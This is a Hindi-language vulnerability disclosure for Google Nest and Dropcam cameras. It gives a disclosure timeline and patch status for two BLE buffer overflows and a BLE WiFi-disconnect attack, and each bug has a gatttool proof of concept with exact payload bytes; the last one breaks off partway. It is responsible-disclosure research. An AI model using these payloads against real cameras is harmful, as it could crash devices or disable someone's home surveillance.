Google-Nest-Cam-Bug-Disclosures

प्रभावित: Dropcam Pro, Nest Cam इनडोर/आउटडोर मॉडल
नवीनतम प्रभावित बिल्ड: 205-600052
आंशिक रूप से ठीक किया गया बिल्ड: 205-600055

अपडेट नवीनतम फर्मवेयर संस्करण 205-600055 Dropcam Pro में WiFi विसंबद्धन भेद्यता को ठीक नहीं करता है। यदि प्रदान किया गया WiFi नेटवर्क मौजूद नहीं है, तो पुनः संबद्धन समय में सुधार किया गया है और अब यह लगभग 10 सेकंड के भीतर वापस कनेक्ट हो जाता है। हालाँकि, dropcam को स्थायी रूप से ऑफ़लाइन ले जाने के लिए अभी भी एक मान्य WiFi नेटवर्क प्रदान किया जा सकता है।

प्रकटीकरण समयरेखा:
अक्टूबर 26, 2016: Google के Vulnerability Reward Program दिशानिर्देशों के अनुसार सुरक्षा बग रिपोर्ट किया गया
अक्टूबर 27, 2016: Google सुरक्षा टीम ने स्वीकार किया कि रिपोर्ट प्राप्त हो गई है और जाँच की जा रही है
नवंबर 1, 2016: Google सुरक्षा टीम ने रिपोर्ट की गई भेद्यताओं को मान्य किया और एक बग दर्ज किया
नवंबर 15, 2016: Google के VRP पैनल ने "गैर-एकीकृत अधिग्रहण" के अंतर्गत $100 का पुरस्कार जारी किया
मार्च 17, 2017: सार्वजनिक प्रकटीकरण

Troy Stribling द्वारा PoC iOS ऐप :: NestPWN

SSID पैरामीटर के माध्यम से ब्लूटूथ (BLE) आधारित बफर ओवरफ्लो

सभी मॉडलों में ठीक किया गया

1. सारांश
   कैमरे पर SSID पैरामीटर सेट करते समय बफर ओवरफ्लो स्थिति को ट्रिगर करना संभव है। हमलावर को कैमरे के चालू रहने की स्थिति के दौरान किसी भी समय ब्लूटूथ रेंज में होना चाहिए। प्रारंभिक सेटअप के बाद भी ब्लूटूथ कभी अक्षम नहीं होता है।

2. प्रूफ ऑफ कॉन्सेप्ट
   anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
   

3. विवरण
   पेलोड 1 बाइट की लंबाई के साथ एक SSID सेट करने का प्रयास करता है और 16 भेजता है।
   SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
   

4. परिणाम
   क्रैश और वापस परिचालन स्थिति में रीबूट

एन्क्रिप्टेड पासवर्ड पैरामीटर के माध्यम से ब्लूटूथ (BLE) आधारित बफर ओवरफ्लो

सभी मॉडलों में ठीक किया गया

1. सारांश
   कैमरे पर एन्क्रिप्टेड पासवर्ड पैरामीटर सेट करते समय बफर ओवरफ्लो स्थिति को ट्रिगर करना संभव है। हमलावर को कैमरे के चालू रहने की स्थिति के दौरान किसी भी समय ब्लूटूथ रेंज में होना चाहिए। प्रारंभिक सेटअप के बाद भी ब्लूटूथ कभी अक्षम नहीं होता है।

2. प्रूफ ऑफ कॉन्सेप्ट
   anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

ब्लूटूथ (BLE) आधारित WiFi विसंबद्धन

Dropcam Pro में ठीक नहीं किया गया

1. सारांश
   कैमरे को कनेक्ट करने के लिए एक नया SSID प्रदान करके उसे WiFi से डिस्कनेक्ट करना संभव है। इन कैमरों द्वारा वीडियो फुटेज का स्थानीय भंडारण समर्थित नहीं है, इसलिए निगरानी अस्थायी रूप से अक्षम हो जाती है। हमलावर को कैमरे के चालू रहने की स्थिति के दौरान किसी भी समय ब्लूटूथ रेंज में होना चाहिए। प्रारंभिक सेटअप के बाद भी ब्लूटूथ कभी अक्षम नहीं होता है।

2. प्रूफ ऑफ कॉन्सेप्ट
   anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e